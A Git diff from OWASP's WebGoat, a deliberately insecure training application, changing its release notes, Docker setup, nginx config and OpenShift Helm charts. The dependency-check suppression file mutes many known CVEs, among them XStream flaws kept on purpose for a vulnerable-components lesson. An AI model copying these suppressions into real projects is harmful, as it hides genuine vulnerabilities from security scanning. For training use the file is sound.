-# Multi language support in WebGoat
-
-WebGoat is mainly written in English, but it does support multiple languages.
-
-## Default language selection
-
-1. Current supported languages are: en, fr, de, nl
-2. The primary language is based on the language setting of the browser.
-3. If the language is not in the list of supported language, the language is English
-4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
-   1. After switching a language you are back at the Introduction page
-
-## Adding a new language
-
-The following steps are required when you want to add a new language
-
-1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
-   1. Add the parts for showing the flag and providing the correct value for the flag= parameter
-2. 
-3. Add a flag image to src/main/resources/webgoat/static/css/img
-   1. See the main_new.html for a link to download flag resources
-4. Add a welcome page to the introduction lesson
-   1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
-   2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
-5. Translate the main labels
-   1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
-   2. Translate the label values
-6. Optionally translate lessons by
-   1. Adding lang specifc adoc files in documentation folder of the lesson
-   2. Adding WebGoatLabels.properties of a specific language if you want to
-7. Run mvn clean to see if the LabelAndHintIntegration test passes
-8. Run WebGoat and verify that your own language and the other languages work as expected
-
-If you only want to translate more for a certain language, you only need to do step 4-8

RELEASE_NOTES.md

@@ -1,100 +1,10 @@
 # WebGoat release notes 
 
-## Version 2023.5
+## Unreleased
 
 ### New functionality
 
-- Implement JWT jku example (#1552)
+- Update the Docker startup script, it is now possible to pass `skip-nginx` or set `SKIP_NGINX` as environment variable.
-- Java 21 initial support (#1622)
-- improve MFAC lesson hint texts for a better user experience (#1424)
-- upgrade to Spring Boot version 3 (#1477)
-
-### Bug fixes
-
-- typo in WebGoad.txt (#1667)
-- search box moved and jwt encode/decode with little delay (#1664)
-- skip validation for JWT (#1663)
-- fixed issue in JWT test tool and added robot test (#1658)
-- Password reset link test condition more strict and move all WebWolf links to /WebWolf  (#1645)
-- fix servers id (#1619)
-- potential NPE in the stored XSS assignment
-- crypto basics broken links
-- fixes the default change in trailing slash matching and address the affected assignments
-- hint that was breaking the template, causing hints from different assignments to mix (#1424)
-- HijackSession lesson template deprecated Tymeleaf attribute
-- Fix NPE in IDOR lesson
-- Add new assignment IT tests
-- XSS mitigation
-- Stored Cross-Site Scripting Lesson
-- Add Assignment7 Tests
-- Fix IDOR lesson
-- remove steps from release script (#1509)
-- robotframework fails due to updated dependencies (#1508)
-- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
-- Fix typo of HijackSession_content0.adoc
-- Restrict SSRF Regexes
-- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the FlagController
-
-## Version 2023.4
-
-### New functionality
-
-- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
-- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
-
-### Bug fixes
-
-- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
-- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
-- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
-
-## Version 2023.3
-
-With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
-
-A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
-many more releases this year.
-
-### New functionality
-
-- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
-- Move away from multi-project setup:
-  * This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
-  * No longer add Maven dependencies in several places
-  * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
-- More explicit paths in html files to reference `adoc` files, less magic.
-- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
-- Add WebWolf button in WebGoat
-- Move all lessons into `src/main/resources`
-- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
-- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
-- Simplify `Dockerfile` as we no longer need a script to start everything
-- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
-- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
-- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
-- Updated introduction lesson to WebWolf.
-- Added language switch for support for multiple languages.
-- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
-- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
-- Renaming of all packages and folders.
-- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
-- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
-
-### Bug fixes
-
-- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
-- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
-- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
-- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
-- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
-- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
-- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
-- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
-- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
-- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
-- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
-- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
-- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
 
 ## Version 8.2.2
 
@@ -108,12 +18,14 @@ many more releases this year.
 - [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
 - [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
 
+
 ## Version 8.2.1
 
 ### New functionality
 
 - New Docker image for arm64 architecture is now available (for Apple M1)
 
+
 ## Version 8.2.0
 
 ### New functionality
@@ -152,6 +64,7 @@ Special thanks to the following contributors providing us with a pull request:
 - NatasG
 - gabe-sky
 
+
 ## Version 8.1.0
 
 ### New functionality
@@ -194,5 +107,9 @@ Special thanks to the following contributors providing us with a pull request:
 
 And everyone who provided feedback through Github.
 
+
 Team WebGoat
 
+
+
+

config/dependency-check/project-suppression.xml

@@ -1,77 +1,42 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
-    <suppress>
+    <suppress base="true">
         <notes><![CDATA[
-        This suppresses all CVE entries that have a score below CVSS 7.
+        This suppresses false positives identified on spring framework.
         ]]></notes>
-        <cvssBelow>7</cvssBelow>
+        <cpe>cpe:/a:pivotal_software:spring_framework</cpe>
+        <cve>CVE-2020-5398</cve>
     </suppress>
-    <suppress>
+    <suppress base="true">
         <notes><![CDATA[
-        file name: spring-tx-5.3.21.jar
+        This suppresses false positives identified on spring framework.
         ]]></notes>
-        <sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
+        <cpe>cpe:/a:redhat:undertow</cpe>
-        <cve>CVE-2016-1000027</cve>
+        <cve>CVE-2019-14888</cve>
     </suppress>
-     <suppress>
+    <suppress base="true">
         <notes><![CDATA[
-        file name: spring-core-5.3.21.jar
+        This suppresses false positives identified on spring framework.
         ]]></notes>
-        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
+        <cpe>cpe:/a:pivotal_software:spring_security</cpe>
-        <cve>CVE-2016-1000027</cve>
+        <cve>CVE-2018-1258</cve>
     </suppress>
-     <suppress>
+    <suppress base="true">
-        <notes><![CDATA[
-        file name: spring-aop-5.3.21.jar
-        ]]></notes>
-        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
-        <cve>CVE-2016-1000027</cve>
-     </suppress>
-     <suppress>
-        <notes><![CDATA[
-        file name: spring-boot-starter-security-2.7.1.jar
-        ]]></notes>
-        <packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
-        <cve>CVE-2022-22978</cve>
-     </suppress>
-     <suppress>
-        <notes><![CDATA[
-        file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
-        ]]></notes>
-        <packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
         <cpe>cpe:/a:jruby:jruby</cpe>
-        <cpe>cpe:/a:openssl:openssl</cpe>
+        <cve>CVE-2018-1000613</cve>
+        <cve>CVE-2018-1000180</cve>
+        <cve>CVE-2017-18640</cve>
+        <cve>CVE-2011-4838</cve>
     </suppress>
-    <suppress>
+    <suppress base="true"><!-- vulnerable components lesson -->
-        <notes><![CDATA[
-        file name: xstream-1.4.5.jar
-        ]]></notes>
-        <packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
         <cpe>cpe:/a:xstream_project:xstream</cpe>
-        <vulnerabilityName>CVE-2013-7285</vulnerabilityName>
+        <cve>CVE-2017-7957</cve>
-        <vulnerabilityName>CVE-2016-3674</vulnerabilityName>
+        <cve>CVE-2016-3674</cve>
-        <vulnerabilityName>CVE-2017-7957</vulnerabilityName>
+        <cve>CVE-2020-26217</cve>
-        <vulnerabilityName>CVE-2020-26217</vulnerabilityName>
+        <cve>CVE-2020-26258</cve>
-        <vulnerabilityName>CVE-2020-26258</vulnerabilityName>
-        <vulnerabilityName>CVE-2020-26259</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21341</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21342</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21343</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21344</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21345</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21346</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21347</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21348</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21349</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21350</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-21351</vulnerabilityName>
-        <vulnerabilityName>CVE-2021-43859</vulnerabilityName>
     </suppress>
-     <suppress>
+    <suppress base="true"><!-- webgoat-server -->
-        <notes><![CDATA[
+        <cpe>cpe:/a:postgresql:postgresql</cpe>
-        file name: spring-jcl-5.3.21.jar
+        <cve>CVE-2018-10936</cve>
-        ]]></notes>
-        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
-        <cve>CVE-2016-1000027</cve>
     </suppress>
 </suppressions>

config/desktop/WebGoat.txt

@@ -1,10 +0,0 @@
-** Welcome to WebGoat desktop image
-
-With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
-You can start WebGoat and ZAP by opening a terminal and type:
-
-./start_webgoat.sh
-./start_zap.sh
-
-Happy hacking,
-Team WebGoat

config/desktop/start_webgoat.sh

@@ -1,17 +0,0 @@
-#!/bin/sh
-
-/config/jdk-17.0.6+10-jre/bin/java \
-  -Duser.home=/config \
-  -Dfile.encoding=UTF-8 \
-  -DTZ=Europe/Amsterdam \
-  --add-opens java.base/java.lang=ALL-UNNAMED \
-  --add-opens java.base/java.util=ALL-UNNAMED \
-  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-  --add-opens java.base/java.text=ALL-UNNAMED \
-  --add-opens java.desktop/java.beans=ALL-UNNAMED \
-  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
-  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
-  --add-opens java.base/java.io=ALL-UNNAMED \
-  --add-opens java.base/java.util=ALL-UNNAMED \
-  -Drunning.in.docker=false \
-  -jar /config/webgoat.jar

config/desktop/start_zap.sh

@@ -1,3 +0,0 @@
-#!/bin/sh
-
-/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar

docker/Dockerfile

@@ -0,0 +1,22 @@
+FROM eclipse-temurin:17_35-jdk-focal
+
+RUN apt-get update
+RUN useradd -ms /bin/bash webgoat
+RUN apt-get -y install apt-utils nginx
+RUN chgrp -R 0 /home/webgoat
+RUN chmod -R g=u /home/webgoat
+
+USER webgoat
+
+COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf
+COPY --chown=webgoat index.html /usr/share/nginx/html/
+COPY --chown=webgoat target/webgoat-server-*.jar /home/webgoat/webgoat.jar
+COPY --chown=webgoat target/webwolf-*.jar /home/webgoat/webwolf.jar
+COPY --chown=webgoat start.sh /home/webgoat
+RUN chmod +x /home/webgoat/start.sh
+
+EXPOSE 8080
+EXPOSE 9090
+
+WORKDIR /home/webgoat
+ENTRYPOINT ["./start.sh"]

docker/Readme.md

@@ -0,0 +1,13 @@
+# Docker all-in-one image
+
+## Docker build
+
+```shell
+docker build --no-cache --build-arg webgoat_version=8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
+```
+	
+## Docker run
+
+```shell
+docker run -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest
+```

docker/index.html

@@ -0,0 +1,70 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <style>
+
+        .p1 {
+            font-family: Arial, Helvetica, sans-serif;
+        }
+
+        .webgoat {
+            float: left;
+            margin-right: 250px;
+            text-align: center;
+        }
+
+        .webwolf {
+            float: left;
+            width: 40%;
+            height: 40%;
+            text-align: center;
+        }
+
+        #images {
+            display: flex;
+            align-items: center;
+            justify-content: center;
+        }
+
+        body {
+
+            text-align: center;
+
+        }
+    </style>
+</head>
+<body>
+
+
+<h1>
+    <center>
+        Landing page for WebGoat and WebWolf
+    </center>
+</h1>
+<blockquote class="p1">
+    WebGoat is a deliberately insecure web application maintained by <a href="http://www.owasp.org/">OWASP</a> designed
+    to teach web
+    application security lessons.
+
+    This program is a demonstration of common server-side application flaws. The
+    exercises are intended to be used by people to learn about application security and
+    penetration testing techniques.
+</blockquote>
+
+<br/>
+
+<p class="p1">Click on one of the images to go to WebGoat or WebWolf</p>
+
+<br/>
+<br/>
+
+<div id="images">
+    <a href="http://127.0.0.1:8080/WebGoat" title="Open WebGoat" target="_blank"><img class="webgoat"
+                                                                                      src="http://127.0.0.1:8080/WebGoat/css/img/logoBG.jpg"></a>
+    <a href="http://127.0.0.1:9090/WebWolf" title="Open WebWolf" target="_blank"><img class="webwolf"
+                                                                                      src="http://127.0.0.1:9090/images/wolf.png"></a>
+</div>
+
+</body>
+</html>

docker/nginx.conf

@@ -0,0 +1,140 @@
+error_log /tmp/error.log;
+pid /tmp/nginx.pid;
+
+worker_processes 1;
+
+events { worker_connections 1024; }
+
+http {
+
+	client_body_temp_path /tmp/client_body;
+	fastcgi_temp_path /tmp/fastcgi_temp;
+	proxy_temp_path /tmp/proxy_temp;
+	scgi_temp_path /tmp/scgi_temp;
+	uwsgi_temp_path /tmp/uwsgi_temp;
+
+    sendfile on;
+
+    upstream docker-webgoat {
+        server 127.0.0.1:8080;
+    }
+
+    upstream docker-webwolf {
+        server 127.0.0.1:9090;
+    }
+
+    proxy_set_header   Host $host;
+    proxy_set_header   X-Real-IP $remote_addr;
+    proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header   X-Forwarded-Host $server_name;
+
+    server {
+        listen 8888;
+        server_name        www.webgoat.local;
+		
+		root /var/www;
+ 
+		access_log /tmp/goataccess.log;
+		error_log /tmp/goaterror.log;
+
+        location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
+            access_log         off;
+            proxy_pass         http://docker-webgoat;
+            proxy_redirect     off;
+        }
+
+        location / {
+            root              /usr/share/nginx/html;
+            index             index.html;
+            add_header        Cache-Control no-cache;
+            expires           0;
+        }
+
+        location /WebGoat {
+            proxy_pass         http://docker-webgoat;
+            proxy_redirect     off;
+        }
+
+    }
+
+    server {
+        listen 8888;
+        server_name        www.webwolf.local;
+		
+		root /var/www;
+ 
+		access_log /tmp/wolfaccess.log;
+		error_log /tmp/wolferror.log;
+
+        location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
+            proxy_pass         http://docker-webgoat;
+            proxy_redirect     off;
+        }
+
+        location /PasswordReset/reset/reset-password {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /files {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /tmpdir {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /webjars {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /css {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /login {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /images {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /mail {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /upload {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /js {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /landing {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /logout {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+        location /WebWolf {
+            proxy_pass         http://docker-webwolf;
+            proxy_redirect     off;
+        }
+
+    }
+}

docker/pom.xml

@@ -0,0 +1,40 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <artifactId>webgoat-all-in-one-docker</artifactId>
+    <packaging>jar</packaging>
+    <parent>
+        <groupId>org.owasp.webgoat</groupId>
+        <artifactId>webgoat-parent</artifactId>
+        <version>8.2.3-SNAPSHOT</version>
+    </parent>
+
+    <dependencies>
+       
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-antrun-plugin</artifactId>
+            <version>3.0.0</version>
+            <executions>
+                <execution>
+                    <phase>install</phase>
+                    <configuration>
+                        <target>
+                            <copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="target/webgoat-server-${project.version}.jar"/>
+							<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="target/webwolf-${project.version}.jar"/>
+                        </target>
+                    </configuration>
+                    <goals>
+                        <goal>run</goal>
+                    </goals>
+                </execution>
+            </executions>
+			</plugin>
+        </plugins>
+    </build>
+
+</project>

docker/start.sh

@@ -0,0 +1,72 @@
+#!/bin/bash
+
+cd /home/webgoat 
+
+function should_start_nginx() {
+  if [[ -v "${SKIP_NGINX}" ]]; then
+    return 1
+  else
+    for i in "${commandline_args[@]}" ; do [[ $i == "skip-nginx" ]] && return 1 ; done
+  fi
+  return 0
+}
+
+function nginx() {
+  if should_start_nginx; then
+    echo "Starting nginx..."
+    service nginx start
+  fi
+}
+
+function webgoat() {
+  echo "Starting WebGoat...."
+  java \
+   -Duser.home=/home/webgoat \
+   -Dfile.encoding=UTF-8 \
+   --add-opens java.base/java.lang=ALL-UNNAMED \
+   --add-opens java.base/java.util=ALL-UNNAMED \
+   --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
+   --add-opens java.base/java.text=ALL-UNNAMED \
+   --add-opens java.desktop/java.beans=ALL-UNNAMED \
+   --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
+   --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
+   --add-opens java.base/java.io=ALL-UNNAMED \
+   -jar webgoat.jar --server.address=0.0.0.0 > webgoat.log
+}
+
+function webwolf() {
+  echo "Starting WebWolf..."
+  java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --server.address=0.0.0.0 > webwolf.log
+}
+
+function write_start_message() {
+  until $(curl --output /dev/null --silent --head --fail http://0.0.0.0:8080/WebGoat/health); do
+    sleep 2
+  done
+  echo "
+    __          __       _        _____                   _
+    \ \        / /      | |      / ____|                 | |
+     \ \  /\  / /  ___  | |__   | |  __    ___     __ _  | |_
+      \ \/  \/ /  / _ \ | '_ \  | | |_ |  / _ \   / _' | | __|
+       \  /\  /  |  __/ | |_) | | |__| | | (_) | | (_| | | |_
+        \/  \/    \___| |_.__/   \_____|  \___/   \__,_|  \__|
+  " >> webgoat.log
+  echo "WebGoat and WebWolf successfully started..." >> webgoat.log
+  pidof nginx >/dev/null && echo "Browse to http://localhost to get started" >> webgoat.log ||  echo "Browse to http://localhost:8080/WebGoat or http://localhost:9090/WebWolf to get started" >> webgoat.log
+}
+
+function tail_log_file() {
+  touch webgoat.log
+  tail -300f webgoat.log
+}
+
+commandline_args=("$@")
+
+nginx
+webgoat &
+webwolf &
+write_start_message &
+tail_log_file
+
+
+

docs/README.md

@@ -1,4 +1,5 @@
 # WebGoat landing page
 
-Old GitHub page which now redirects to OWASP website.
+Old Github page which now redirects to OWASP website.
+
 

mvn-debug

@@ -1,2 +1,2 @@
 export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
-./mvnw $@
+mvn $@

platformQuickStarts/helm/Readme.md

@@ -0,0 +1,54 @@
+# Helm chart deployment on OpenShift K8S clusters
+
+This helm chart can be used on a OpenShift Code Ready Container environment or an OpenShift Cloud Container environment.
+
+With the OpenShift CRC (Code Ready Container) cluster you run an entire environment on your local machine. (> 4 vCPU, >8GB mem)
+
+See the Red Hat documentation for general understanding of OpenShift. Make sure helm is installed as well.
+
+https://developers.redhat.com/developer-sandbox
+
+## CRC commands
+
+    crc config set cpus 6
+    crc config set memory 12288
+    crc setup
+    crc start
+    eval $(crc oc-env)
+    oc login -u developer https://api.crc.testing:6443
+    oc new-project demo-project
+
+The example without modification uses *demo-project* as the project/namespace for installing WebGoat and WebWolf.
+
+
+## Helm install this example on your local Code Ready Container environment
+
+    helm install goat1 ./webgoat
+
+## Helm install on single node Developer Sandbox (cloud)
+
+    oc login --token=sha256~phDWy6Wm_oJQW6kmOHEbLkRdDIXU6b70hRVmdSYWolM --server=https://api.sandbox-m2.rz9k.p1.openshiftapps.com:6443 
+    helm install --set namespace=renezubcevic-dev --set accessMode=ReadWriteOnce --set urlpostfix=.apps.sandbox-m2.rz9k.p1.openshiftapps.com goat1 ./webgoat
+
+A code ready container looks the same for all developers on their local machine, but a developer sandbox requires other credentials from your account in the cloud and different namespace and urlpostfix and also a different access mode for the persistent storage.
+Of course the token here is a fake.
+
+## uninstall 
+
+    helm uninstall goat1
+
+The URL on a Code Ready Container is build from router name + namespace + default extension .apps-crc.testing:
+
++ [https://webgoat-1-goat-demo-project.apps-crc.testing/WebGoat](https://webgoat-1-goat-demo-project.apps-crc.testing/WebGoat)
++ [http://webwolf-1-wolf-demo-project.apps-crc.testing/WebWolf](http://webwolf-1-wolf-demo-project.apps-crc.testing/WebWolf)
+
+## Explanation
+
+deployment.yaml contains two K8S deployment elements. Both use the same Persistent Volume Claim and use the same Volume mapping. 
+They both use the same image but with other entrypoint and command arguments. The java.io.dir is also mapped to this persistent volume mapping. The number of pods is 1 for both WebGoat and WebWolf. WebGoat uses the WEBWOLF_HOST parameter to know where the external address of WebWolf is defined. WebWolf uses WEBGOAT_HOST to define the internal service address to WebGoat for connecting to the HSQL database
+
+persistent-storage-claim.yaml contains the OpenShift K8S extension for requestig a volume with Read-Write access that will survive any pod replacements.
+
+service.yaml defines the service ports for both WebGoat and WebWolf
+
+route-goat defines an https endpoint toward the 8080 port. route-wolf defines an http port towards the 9090 port.

platformQuickStarts/helm/modsec/.helmignore

@@ -0,0 +1,23 @@
+# Patterns to ignore when building packages.
+# This supports shell glob matching, relative path matching, and
+# negation (prefixed with !). Only one pattern per line.
+.DS_Store
+# Common VCS dirs
+.git/
+.gitignore
+.bzr/
+.bzrignore
+.hg/
+.hgignore
+.svn/
+# Common backup files
+*.swp
+*.bak
+*.tmp
+*.orig
+*~
+# Various IDEs
+.project
+.idea/
+*.tmproj
+.vscode/

platformQuickStarts/helm/modsec/Chart.yaml

@@ -0,0 +1,9 @@
+apiVersion: v2
+name: modsec
+description: ModSecurity Core Rule Set
+ 
+type: application
+ 
+version: 0.1.0
+ 
+appVersion: "latest"

platformQuickStarts/helm/modsec/templates/configmap-modsec.yaml

@@ -0,0 +1,18 @@
+kind: ConfigMap
+apiVersion: v1
+metadata:
+  name: {{ .Values.modsec_server.name }}-configmap-modsec
+  namespace: {{ .Values.namespace }}
+  labels:
+    app.kubernetes.io/part-of: {{ .Values.modsec_server.name }} 
+data:
+  PARANOIA: '1'
+  EXECUTING_PARANOIA: '2'
+  ANOMALYIN: '5'
+  ANOMALYOUT: '5'
+  ALLOWED_METHODS: 'GET POST'
+  ALLOWED_REQUEST_CONTENT_TYPE: "text/xml|application/xml|text/plain"
+  MAX_FILE_SIZE: '5242880'
+  PORT: '8001'
+  RESTRICTED_EXTENSIONS: '.conf/'
+  BACKEND: 'http://{{ .Values.webgoat_server.name }}-service:8080' 

platformQuickStarts/helm/modsec/templates/deployment.yaml

@@ -0,0 +1,45 @@
+kind: Deployment
+apiVersion: apps/v1
+metadata:
+  name: {{ .Values.modsec_server.name }}
+  namespace: {{ .Values.namespace }}
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: {{ .Values.modsec_server.name }}
+  template:
+    metadata:
+      labels:
+        app: {{ .Values.modsec_server.name }} 
+    spec:
+      containers:
+        - resources:
+            limits:
+              memory: "2Gi"
+              cpu: "1"
+            requests:
+              memory: "1Gi"
+              cpu: "0.5"
+          name: modsec
+          ports:
+            - containerPort: 8001
+              protocol: TCP
+          image: {{ .Values.modsec_server.image }}
+          imagePullPolicy: Always
+          terminationMessagePolicy: File
+          envFrom:
+            - configMapRef:
+                name: {{ .Values.modsec_server.name }}-configmap-modsec
+      restartPolicy: Always
+      terminationGracePeriodSeconds: 30
+      dnsPolicy: ClusterFirst
+      securityContext: {}
+      schedulerName: default-scheduler
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 25%
+      maxSurge: 25%
+  revisionHistoryLimit: 10
+  progressDeadlineSeconds: 600

platformQuickStarts/helm/modsec/templates/route-modsec.yml

@@ -0,0 +1,16 @@
+apiVersion: route.openshift.io/v1
+kind: Route
+metadata:
+  labels:
+    app: {{ .Values.modsec_server.name }}
+  name: {{ .Values.modsec_server.name }}-modsec
+  namespace: {{ .Values.namespace }}
+spec:
+  path: /
+  port:
+    targetPort: 8001
+  to:
+    kind: Service
+    name: {{ .Values.modsec_server.name }}-service
+    weight: 100
+  wildcardPolicy: None

platformQuickStarts/helm/modsec/templates/service.yaml

@@ -0,0 +1,16 @@
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: {{ .Values.modsec_server.name }}
+  name: {{ .Values.modsec_server.name }}-service
+  namespace: {{ .Values.namespace }}
+spec:
+  ports:
+  - name: 8001-tcp
+    port: 8001
+    protocol: TCP
+    targetPort: 8001
+  selector:
+    app: {{ .Values.modsec_server.name }}
+  sessionAffinity: None

platformQuickStarts/helm/modsec/values.yaml

@@ -0,0 +1,13 @@
+namespace: demo-project
+urlpostfix: .apps-crc.testing
+accessMode: ReadWriteMany
+ 
+modsec_server:
+  name: modsec-1
+  #image: docker.io/franbuehler/modsecurity-crs-rp
+  #image: docker.io/owasp/modsecurity-crs
+  image: docker.io/chrira/modsecurity-crs-rp:openshift
+
+webgoat_server:
+  name: webgoat-1
+

platformQuickStarts/helm/webgoat/.helmignore

@@ -0,0 +1,23 @@
+# Patterns to ignore when building packages.
+# This supports shell glob matching, relative path matching, and
+# negation (prefixed with !). Only one pattern per line.
+.DS_Store
+# Common VCS dirs
+.git/
+.gitignore
+.bzr/
+.bzrignore
+.hg/
+.hgignore
+.svn/
+# Common backup files
+*.swp
+*.bak
+*.tmp
+*.orig
+*~
+# Various IDEs
+.project
+.idea/
